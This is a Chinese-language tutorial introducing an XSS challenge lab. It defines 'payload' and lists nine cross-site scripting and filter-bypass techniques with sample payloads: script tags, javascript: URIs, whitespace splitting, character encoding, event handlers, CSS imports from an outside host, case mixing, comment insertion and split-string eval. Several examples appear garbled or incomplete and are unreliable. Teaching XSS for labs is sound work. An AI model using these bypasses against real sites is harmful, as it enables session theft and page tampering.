XSS闖關遊戲準備階段及XSS構造方法
請下載好XSS闖關檔案後,解壓後放在伺服器的對應資料夾即可
在該闖關中,會在網頁提示一個payload數值
payload ,翻譯過來是有效載荷
通常在傳輸資料時,為了使資料傳輸更可靠,要把原始資料分批傳輸,並且在每一批資料的頭和尾都加上一定的輔助資訊,比如資料量的大小、校驗位等,這樣就相當於給已經分批的原始資料加一些外套,這些外套起標示作用,使得原始資料不易丟失,一批資料加上“外套”就形成了傳輸通道的基本傳輸單元,叫做資料幀或資料包,而其中的原始資料就是payload
payload 指安全測試資料,即在當前網頁上輸入後傳入的有效資料數
xss構造方法
此段來自: 馬開東部落格 網址: ofollow,noindex" target="_blank">http://www.makaidong.com
no.1 利用<>標記注射html/javascript
如果使用者能隨心所欲引入<>標記,那他就能操作html標記,然後就能通過<script>標籤插入 js 惡意指令碼了,例如:
<script>alert('xss');</script>
當然如果對"<>"和script等進行了過濾,上面這個就無法執行了
no.2 利用html標籤屬性值執行xss
很多html標記中的屬性都支援javascript:[code]偽協議的形式,這就給了注入xss可乘之機,例如:
<img src = "javascript:alert('xss');">
這裡即便對傳入的引數過濾了<>,xss還是能發生(前提是該標籤屬性需要引用檔案)
no.3 空格/回車/tab
假設過濾函式進一步又過濾了javascript等敏感字串,只需對javascript進行小小的操作即可繞過, 例如:
<img src = "javascript:alert('xss');" width=100>
這裡之所以能成功繞過,其實還得益於 js 自身的性質:javascript通常以分號結尾,如果解析引擎能確定一個語句時完整的,且行尾有換行符,則分號可省略
而如果不是完整的語句,javascript則會繼續處理,直到語句完整結束或分號
像<img src = "javas
cript:
alert(/xss/); width=100> 同樣能繞過
no.4 對標籤屬性值進行轉碼
過濾嚴謹的函式很可能對標籤也進行了嚴格的控制,但是如果用
其他形式表示標籤,指令碼仍能解析卻可以繞過過濾
常見的編碼方式有:html實體編碼(&#ascii),十進位制、十六進位制、八進位制編碼,unicode編碼及escape編碼及使用string.fromcharcode(...)繞過
因此<img src = "javascriptt&#alert(/xss/);">可以實現繞過
另外還可以把、、等字元插入程式碼的頭部或任意地方
no.5 產生自己的事件
如果不能依靠屬性進行跨站,那麼還可以利用事件處理函式
<input type = "button" value = "click me" onclick="alert('click me')" />
事件既能讓 js 指令碼執行,自然也可以執行跨站,另外像onerror、onmouseover等都可利用的是事件處理函式
no.6 利用css跨站剖析
之所以說css樣式表是個很不錯的載體,是因為css不需要嵌入到html程式碼中,可以直接從檔案或其他地方進行引用. 另外css同樣隱蔽、靈活,不過不同 瀏覽器之間不能通用,如:
<div style = "list-style-image:url(javascript:alert('xss'))">
<link rel = "stylesheet" href = " http://www.xxx.com/atack.css ">
<style type = 'text/css'>@import url( http://www.xxx.com/xss.css); </style>
<style>@import 'javascript:alert('xss');'</style>
no.7 擾亂過濾規則
大小寫混用:<img src = "javascript:alert(0);">
不使用引號或者構造全形字元也能擾亂過濾規則
還有像css中/**/會被瀏覽器忽略,\和\0同樣或被瀏覽器忽略,同樣可以用來繞過:
<img src = "java/*javascript:alert('xss')*/script:alert(1);">
no.8 充分使用字元編碼
上面說到過編碼,這裡加以補充,除了像&#ascii,其實也可以採用�、�、� 等形式,同樣j 的形式也是可以的
<script>eval("\61\6c\65......");<script>
如果使用eval執行10進位制形式的指令碼則需要配合string.fromcharcode()使用
no.9 拆分跨站法
拆分跨站就是像shellcode一樣,遇到長度限制不能按正常方式跨站時,通過引入變數多次提交將之連線起來實現跨站,例如:
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>
......
<script>eval(z)</script> //eval函式可以將字串的內容直接執行
另外除了像上面多次提交,也可以引用其他變數如:eval(quserinfo.spacename)形式,由於quserinfo.spacename是可控變數,因此改變其值就可以繞過 長度限制了
遵守規則,明白什麼地方可變,什麼地方不可變
準備進入挑戰